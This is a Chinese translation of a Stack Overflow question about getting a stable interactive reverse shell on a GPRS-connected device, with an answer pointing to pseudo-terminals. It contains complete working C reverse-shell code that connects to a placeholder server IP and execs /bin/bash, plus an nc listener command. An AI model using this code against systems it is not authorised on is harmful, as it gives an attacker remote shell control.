C反向shell问题

标签 c shell reverse scp

我需要设置反向 shell 以连接到通过 GPRS 调制解调器连接到互联网的设备。

当出现特殊情况时,我会在固定ip的公共(public)服务器上启动这个命令

nc -l 65535

然后我会让这段代码运行(现在我通过电缆直接连接到设备以进行测试)(是的, fork 在这种情况下没用,但我会在我的最终场景中需要它,所以我保留了它)

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int reverse_shell()
{
    pid_t p = 0;

    /* fork */
    p = fork();

    if (p == 0)
    {
        char *shell[2];

        int i,fd;
        struct sockaddr_in sin;

        /* open socket */
        fd = socket(AF_INET, SOCK_STREAM, 0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr("MY SERVER PUBLIC IP ADDRESS");
        sin.sin_port = htons(65535);

        /* connect! */
        connect(fd, (struct sockaddr *)&sin,sizeof(struct sockaddr_in));

        /* assign three first fd (input/output/err) to open socket */
        for(i=0; i<3; i++)
            dup2(fd, i);

        /* build array */
        shell[0] = "/bin/bash";
        shell[1] = 0;

        /* start the reverse shell */
        if (execve(shell[0], shell, NULL) == -1)
            printf("error\n");

        exit(0);
    }

    return 0;
}

int main()
{
    reverse_shell();
}

反向 shell 已设置,但如您所见,我没有得到任何提示,而且看起来有点困惑。

[root@public-server tmp]# nc -lv 65535
Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted
cd /etc
ls *hosts*
hosts
hosts.allow
hosts.deny

另外,我需要使用 scp 但消息一直出现在设备提示符上而不是反向连接的服务器上

反向连接的服务器:

[root@public-server tmp]# nc -lv 65535
Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted
ls /etc/hosts
/etc/hosts
scp /etc/hosts xxx.xxx.xxx.xxx:/tmp/
Host key verification failed.
lost connection

设备提示:

root@device:/tmp# ./a.out
root@device:/tmp# The authenticity of host 'xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)' can't be established.
RSA key fingerprint is aa:e6:aa:1d:aa:a5:c2:fd:aa:4c:4f:e7:aa:34:aa:78.
Are you sure you want to continue connecting (yes/no)?

我该怎么做才能解决这个问题并获得稳定可用的反向 shell?

最佳答案

问题是你的 shell 只得到一个普通的文件描述符。这样,它就只能像执行脚本一样运行。要以交互方式操作,它需要一个允许它执行所有termios 操作的终端。这就是伪终端 (pty) 的用途。一个快速的谷歌搜索带来了this guide ,我没有完全阅读它,也许有更好的来源——祝你好运。

PS:我没有使用 pty 的经验,所以这可能是错误的,但我假设你应该以某种方式设置 TERM 环境在启动 shell 之前将客户端的变量设置为服务器的变量,因此建议实现您自己的服务器(而不是 nc)并在启动 shell 之前有一些初始化协议(protocol)。

关于C反向shell问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31567363/

相关文章:

C中循环条件下的逗号运算符

c++ - 在 openCV 中将 cvPoint[][] 转换为 cvPoint** 时出现段错误

php - 如何使用 php 或 bash 读取文本文件并对其进行排序?

python 分割和反转文本文件

从 C 调用汇编函数

c - fprintf 有 "commit"吗? (防止服务器死机时数据丢失)

bash - 如何在双引号内的命令中嵌入变量?

linux - 使用 shell 脚本从 pstree 获取指定进程名称的 pid

linux - 如何在Perl上创建持久套接字连接?

逆模运算符